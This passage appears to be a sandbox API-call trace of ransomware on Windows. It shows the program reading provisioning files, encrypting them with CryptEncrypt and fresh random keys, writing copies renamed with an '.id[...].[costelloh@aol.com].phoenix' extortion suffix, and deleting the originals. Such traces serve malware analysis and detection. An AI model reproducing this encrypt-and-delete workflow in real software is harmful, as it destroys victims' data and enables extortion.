	[0247.354] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151180) returned 1
	[0247.354] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.354] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0247.354] CryptDestroyKey (hKey=0x151180) returned 1
	[0247.354] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0247.354] CryptDestroyKey (hKey=0x151680) returned 1
	[0247.354] CloseHandle (hObject=0x2b0) returned 1
	[0247.354] CloseHandle (hObject=0x2d4) returned 1
	[0247.355] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\315__Connections_Cellular_Mobilink GSM (Pakistan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\315__connections_cellular_mobilink gsm (pakistan)_i1$(__mvid)@wap.provxml")) returned 1
	[0247.356] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0247.356] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\316__Connections_Cellular_Telenor (Pakistan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\316__connections_cellular_telenor (pakistan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0247.356] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=838) returned 1
	[0247.356] CloseHandle (hObject=0x2d4) returned 1
	[0247.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\316__Connections_Cellular_Telenor (Pakistan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\316__connections_cellular_telenor (pakistan)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\316__Connections_Cellular_Telenor (Pakistan)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\316__connections_cellular_telenor (pakistan)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.356] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\316__Connections_Cellular_Telenor (Pakistan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\316__connections_cellular_telenor (pakistan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0247.356] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.356] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.357] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\316__Connections_Cellular_Telenor (Pakistan)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\316__connections_cellular_telenor (pakistan)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0247.357] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151500) returned 1
	[0247.357] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.357] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x346, lpOverlapped=0x0) returned 1
	[0247.554] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x350, dwBufLen=0x350 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x350) returned 1
	[0247.554] WriteFile (in: hFile=0x2b0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x350, lpOverlapped=0x0) returned 1
	[0247.555] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1513c0) returned 1
	[0247.555] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.555] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0247.555] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0247.555] WriteFile (in: hFile=0x2b0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0247.555] CryptDestroyKey (hKey=0x151500) returned 1
	[0247.555] CloseHandle (hObject=0x2d4) returned 1
	[0247.556] CloseHandle (hObject=0x2b0) returned 1
	[0247.556] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\316__Connections_Cellular_Telenor (Pakistan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\316__connections_cellular_telenor (pakistan)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.557] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0247.557] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\320__Connections_Cellular_Cable and Wireless (Panama)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\320__connections_cellular_cable and wireless (panama)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0247.558] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=728) returned 1
	[0247.558] CloseHandle (hObject=0x2b0) returned 1
	[0247.558] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\320__Connections_Cellular_Cable and Wireless (Panama)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\320__connections_cellular_cable and wireless (panama)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.558] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\320__Connections_Cellular_Cable and Wireless (Panama)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\320__connections_cellular_cable and wireless (panama)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.558] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\320__Connections_Cellular_Cable and Wireless (Panama)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\320__connections_cellular_cable and wireless (panama)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0247.558] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.558] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.558] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\320__Connections_Cellular_Cable and Wireless (Panama)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\320__connections_cellular_cable and wireless (panama)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0247.559] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1513c0) returned 1
	[0247.559] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.559] ReadFile (in: hFile=0x2b0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2d8, lpOverlapped=0x0) returned 1
	[0247.585] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0247.585] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0247.586] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151600) returned 1
	[0247.586] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.587] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0247.587] CryptDestroyKey (hKey=0x151600) returned 1
	[0247.587] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0247.587] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0247.587] CloseHandle (hObject=0x2b0) returned 1
	[0247.587] CloseHandle (hObject=0x2d4) returned 1
	[0247.587] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\320__Connections_Cellular_Cable and Wireless (Panama)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\320__connections_cellular_cable and wireless (panama)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.588] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0247.588] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\321__Connections_Cellular_Claro (Panama)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\321__connections_cellular_claro (panama)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0247.603] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=700) returned 1
	[0247.603] CloseHandle (hObject=0x2d4) returned 1
	[0247.603] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\321__Connections_Cellular_Claro (Panama)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\321__connections_cellular_claro (panama)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.603] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\321__Connections_Cellular_Claro (Panama)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\321__connections_cellular_claro (panama)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.604] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\321__Connections_Cellular_Claro (Panama)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\321__connections_cellular_claro (panama)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0247.604] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.604] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.604] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\321__Connections_Cellular_Claro (Panama)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\321__connections_cellular_claro (panama)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0247.611] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1513c0) returned 1
	[0247.611] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.611] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2bc, lpOverlapped=0x0) returned 1
	[0247.639] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2c0, dwBufLen=0x2c0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2c0) returned 1
	[0247.639] WriteFile (in: hFile=0x2c8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2c0, lpOverlapped=0x0) returned 1
	[0247.640] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151440) returned 1
	[0247.640] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.640] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0247.640] CryptDestroyKey (hKey=0x151440) returned 1
	[0247.640] WriteFile (in: hFile=0x2c8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0247.641] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0247.641] CloseHandle (hObject=0x2d4) returned 1
	[0247.641] CloseHandle (hObject=0x2c8) returned 1
	[0247.641] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\321__Connections_Cellular_Claro (Panama)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\321__connections_cellular_claro (panama)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.644] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0247.644] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\324__Connections_Cellular_Telecel (Paraguay)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\324__connections_cellular_telecel (paraguay)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0247.645] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=715) returned 1
	[0247.645] CloseHandle (hObject=0x2c8) returned 1
	[0247.648] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\324__Connections_Cellular_Telecel (Paraguay)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\324__connections_cellular_telecel (paraguay)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.648] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\324__Connections_Cellular_Telecel (Paraguay)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\324__connections_cellular_telecel (paraguay)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.648] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\324__Connections_Cellular_Telecel (Paraguay)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\324__connections_cellular_telecel (paraguay)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0247.648] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.648] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0247.649] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\324__Connections_Cellular_Telecel (Paraguay)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\324__connections_cellular_telecel (paraguay)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0247.649] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1514c0) returned 1
	[0247.649] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.649] ReadFile (in: hFile=0x2c8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2cb, lpOverlapped=0x0) returned 1
	[0247.650] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0247.650] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0247.651] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151280) returned 1
	[0247.652] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0247.652] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0247.652] CryptDestroyKey (hKey=0x151280) returned 1
	[0247.652] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0247.652] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0247.652] CloseHandle (hObject=0x2c8) returned 1
	[0247.652] CloseHandle (hObject=0x2d4) returned 1
	[0247.652] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\324__Connections_Cellular_Telecel (Paraguay)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\324__connections_cellular_telecel (paraguay)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.653] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0247.653] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\325__Connections_Cellular_Claro (Peru)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\325__connections_cellular_claro (peru)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0247.654] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=698) returned 1
